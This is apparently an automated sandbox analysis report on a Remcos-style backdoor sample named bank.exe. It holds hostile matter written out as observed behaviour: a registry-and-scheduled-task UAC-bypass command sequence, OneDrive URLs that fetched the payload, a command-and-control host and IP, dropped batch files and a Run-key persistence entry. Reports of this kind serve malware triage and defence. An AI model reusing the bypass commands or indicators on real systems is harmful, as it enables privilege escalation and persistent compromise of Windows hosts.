bank.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Aug. 10, 2021, 5:42 p.m. | Aug. 10, 2021, 5:51 p.m. |
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
3800 -
reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
3844 -
schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
3888
-
-
-
-
reg.exe reg delete hkcu\Environment /v windir /f
4080
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| twistednerd.dvrlists.com | 62.102.148.130 | |
| apv5oq.sn.files.1drv.com |
CNAME
sn-files.fe.1drv.com
CNAME
l-0003.l-msedge.net
|
13.107.42.12 |
| onedrive.live.com |
CNAME
l-0004.l-msedge.net
|
13.107.42.13 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49201 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.101:49200 -> 13.107.42.13:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.101:49202 -> 13.107.42.12:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.101:49201 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
|
TLSv1 192.168.56.101:49200 13.107.42.13:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | CN=onedrive.com | 24:8a:fb:ed:16:0d:11:c8:2f:65:3a:66:ca:f1:6f:60:ad:4c:cc:de |
|
TLSv1 192.168.56.101:49202 13.107.42.12:443 |
C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 02 | C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com | 77:27:91:d8:e9:91:39:0b:f9:f9:5e:86:3e:37:d5:dc:9d:85:30:49 |
|
TLS 1.3 192.168.56.101:49213 62.102.148.130:8618 |
None | None | None |
|
TLS 1.3 192.168.56.101:49204 62.102.148.130:8618 |
None | None | None |
|
TLS 1.3 192.168.56.101:49212 62.102.148.130:8618 |
None | None | None |
| section | .itext |
| packer | BobSoft Mini Delphi -> BoB / BobSoft |
| request | GET https://onedrive.live.com/download?cid=D6676A9A61E841F3&resid=D6676A9A61E841F3%21117&authkey=ALEWR7_oFnUkSBQ |
| request | GET https://apv5oq.sn.files.1drv.com/y4mqtDxi_yjQqMj7aLneNR5K2ag2n6a9B3s2vsguKxD6cq_pEbf-AoBavtlpqHoxXjnVTTRodHYAyAVwV2qMV3yT9FJF0ReIQscZaXQGrtQ_Qo0ZTxor0a01qx5w-nMorDgI-I4bWaoFPlMR2GfVgFSbCIl6ErQU5_nxjDMV0u2rSp5S7Vf6y3eFgoL5jbcc9J171z-sNGiboKZE27hENWiuQ/Yjjdwkjkodghbmfmluytpeybrgxrlom?download&psid=1 |
| request | GET https://apv5oq.sn.files.1drv.com/y4muXeUmSOr2eA8OAZv22ApcwBCduBInlnDD_iP2ohqHowwtZcujQFarcs7juK_0mSRbt6MJSbKteWevTHBIgiv6lJwPrMTfvY1ZebPr11dv0Jj63I1RU3a9kMWmQKSmYqgZFh1LLe2fAR8EZ-z8j-pWLadKuq6Z3fIVgXk84emHccp7oVXqMPta0w5zmX9fkWNqjQ12SMYb696eSzEeW3MLQ/Yjjdwkjkodghbmfmluytpeybrgxrlom?download&psid=1 |
| file | C:\Users\Public\KDECO.bat |
| file | C:\Users\Public\UKO.bat |
| file | C:\Users\Public\Libraries\Yjjdwkj\Yjjdwkj.exe |
| file | C:\Users\Public\Trast.bat |
| file | C:\Users\Public\nest.bat |
| cmdline | C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat |
| cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| cmdline | schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I |
| cmdline | reg delete hkcu\Environment /v windir /f |
| cmdline | reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " |
| buffer | Buffer with sha1: fae0faf0b5a7d6ee91ec95cdb4edd553727fb2ed |
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Yjjdwkj | reg_value | C:\Users\Public\Libraries\jkwdjjY.url | ||||||
| file | C:\Users\Public\UKO.bat |
| process | bank.exe | useragent | zipo | ||||||
| process | bank.exe | useragent | aswe | ||||||
| Bkav | W32.AIDetect.malware2 |
| Lionic | Trojan.Win32.Androm.m!c |
| Elastic | malicious (high confidence) |
| Cynet | Malicious (score: 100) |
| McAfee | GenericRXAA-AA!E92CB564767A |
| Alibaba | Trojan:Win32/Injector.969954fb |
| Cyren | W32/Trojan.NKGT-5041 |
| ESET-NOD32 | a variant of Win32/Injector.EPXQ |
| APEX | Malicious |
| Paloalto | generic.ml |
| Kaspersky | HEUR:Backdoor.Win32.Remcos.gen |
| BitDefender | Trojan.GenericKD.46766284 |
| MicroWorld-eScan | Trojan.GenericKD.46766284 |
| Avast | Win32:RATX-gen [Trj] |
| Ad-Aware | Trojan.GenericKD.46766284 |
| Sophos | Mal/Generic-S |
| DrWeb | Trojan.DownLoader41.8746 |
| McAfee-GW-Edition | BehavesLike.Win32.AdwareDealPly.bh |
| FireEye | Generic.mg.e92cb564767afb2d |
| Emsisoft | Trojan.GenericKD.46766284 (B) |
| Ikarus | Win32.Outbreak |
| GData | Trojan.GenericKD.46766284 |
| Arcabit | Trojan.Generic.D2C998CC |
| ZoneAlarm | HEUR:Backdoor.Win32.Remcos.gen |
| Microsoft | Trojan:Win32/Fareit!ml |
| AhnLab-V3 | Malware/Win.Generic.C4585907 |
| MAX | malware (ai score=82) |
| Malwarebytes | Backdoor.Remcos |
| TrendMicro-HouseCall | TROJ_GEN.R002H0DHA21 |
| SentinelOne | Static AI - Malicious PE |
| eGambit | Unsafe.AI_Score_87% |
| Fortinet | W32/Kryptik.EPXQ!tr |
| AVG | Win32:RATX-gen [Trj] |
| CrowdStrike | win/malicious_confidence_60% (W) |